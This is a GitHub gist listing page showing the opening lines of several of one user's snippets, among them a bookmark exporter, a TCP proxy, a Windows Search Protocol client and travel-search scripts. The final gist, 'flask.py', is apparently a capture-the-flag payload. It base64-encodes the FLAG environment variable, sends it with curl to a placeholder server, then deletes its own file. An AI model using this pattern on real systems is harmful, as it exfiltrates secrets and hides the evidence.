Romern’s gists

Romern / bookmarkToFolders.py

Created May 31, 2025 21:56

Loads a Firefox Bookmark export file and writes the titles and urls in a folder structure

	import json
	import string
	from pathlib import Path
	import sys

	if len(sys.argv) != 3:
	print(f'Usage: {sys.argv[0]} bookmarkfile.json outputPathBase')
	exit()

	data = json.load(open(sys.argv[1],'r'))

Romern / create_epsf.py

Created May 27, 2025 07:46

DOS Binary EPS

	import struct
	import sys

	def xor_checksum(data):
	checksum = 0
	for byte in data:
	checksum ^= byte
	return checksum & 0xFFFF

	def create_dos_eps(postscript_path, tiff_path, output_path):

Romern / Main.c

Last active March 20, 2025 14:46

Add user to group

	#include <windows.h>
	#include <lm.h>
	#include <stdio.h>

	#pragma comment(lib, "Netapi32.lib")

	void AddUserToLocalGroup(LPCWSTR userName, LPCWSTR groupName) {
	LOCALGROUP_MEMBERS_INFO_3 memberInfo;
	NET_API_STATUS status;

Romern / replaceProxy.py

Created March 6, 2025 10:19

	import socket
	import threading

	# Configuration
	LISTEN_HOST = '0.0.0.0' # Listen on all interfaces
	LISTEN_PORT = 12345 # Port to listen on
	TARGET_HOST = 'example.com' # Destination host
	TARGET_PORT = 80 # Destination port
	SEARCH_BYTES = b'hello' # Byte sequence to search for
	REPLACE_BYTES = b'world' # Replacement byte sequence

Romern / gist:bd270471571cc56d3c6d8ffcf1d71673

Created February 25, 2025 14:53

	package main

	import (
	"crypto/tls"
	"fmt"
	"io"
	"log"
	"net"

	"github.com/hexasant/go-hexdump"

Romern / appointments.py

Created February 20, 2025 17:41

adapted from https://github.com/Lasslos/bonn-termine-bot/blob/master/appointments.py. Nutzt "Biometrisches Foto" für die minimalsten 5 minuten slots.

	import requests
	import logging
	import re
	import json
	import http.client as http_client
	from html import unescape
	from datetime import datetime


	class Appointment:

Romern / example.py

Created January 16, 2025 01:07

Windows Search Protocol Python implementation (WIP: only CPMCreateQueryIn correctly implemented)

	from wsp.packets import (
	CPMConnectIn, CPMCreateQueryIn, CPMDisconnect,
	CColumnSet, CRestrictionArray, CRowsetProperties, CPidMapper,
	CColumnGroupArray, PropSpec, CPropertyRestriction, CRestriction
	)
	import uuid

	def hex_dump(data: bytes, prefix: str = "") -> str:
	hex_str = ''.join([f'{b:02x}' for b in data])
	return f"{prefix}{hex_str}"

Romern / greeter.cpp

Last active January 1, 2025 18:21

Calling a c++ class constructor and a function on that constructor using Frida

	#include <iostream>
	#include <string>

	class Greeter {
	private:
	std::string message;

	public:
	Greeter(const std::string& msg) : message(msg) {}

Romern / blablacarmatrix.py

Last active April 5, 2025 07:17

Retrieve blablacar results for multiple days

	import requests
	import datetime
	import click
	import tqdm
	import uuid
	from rich.console import Console
	from rich.table import Table

	search_url = "https://edge.blablacar.de/trip/search/v7"
	location_get_url = 'https://edge.blablacar.de/location/suggestions'

Romern / flask.py

Created October 20, 2024 18:13

hydrate

	import os
	import base64
	os.system("curl https://MYSERVER/"+base64.b64encode(os.environ["FLAG"].encode()).decode())
	os.system("rm /app/flask.py")
	os._exit(1)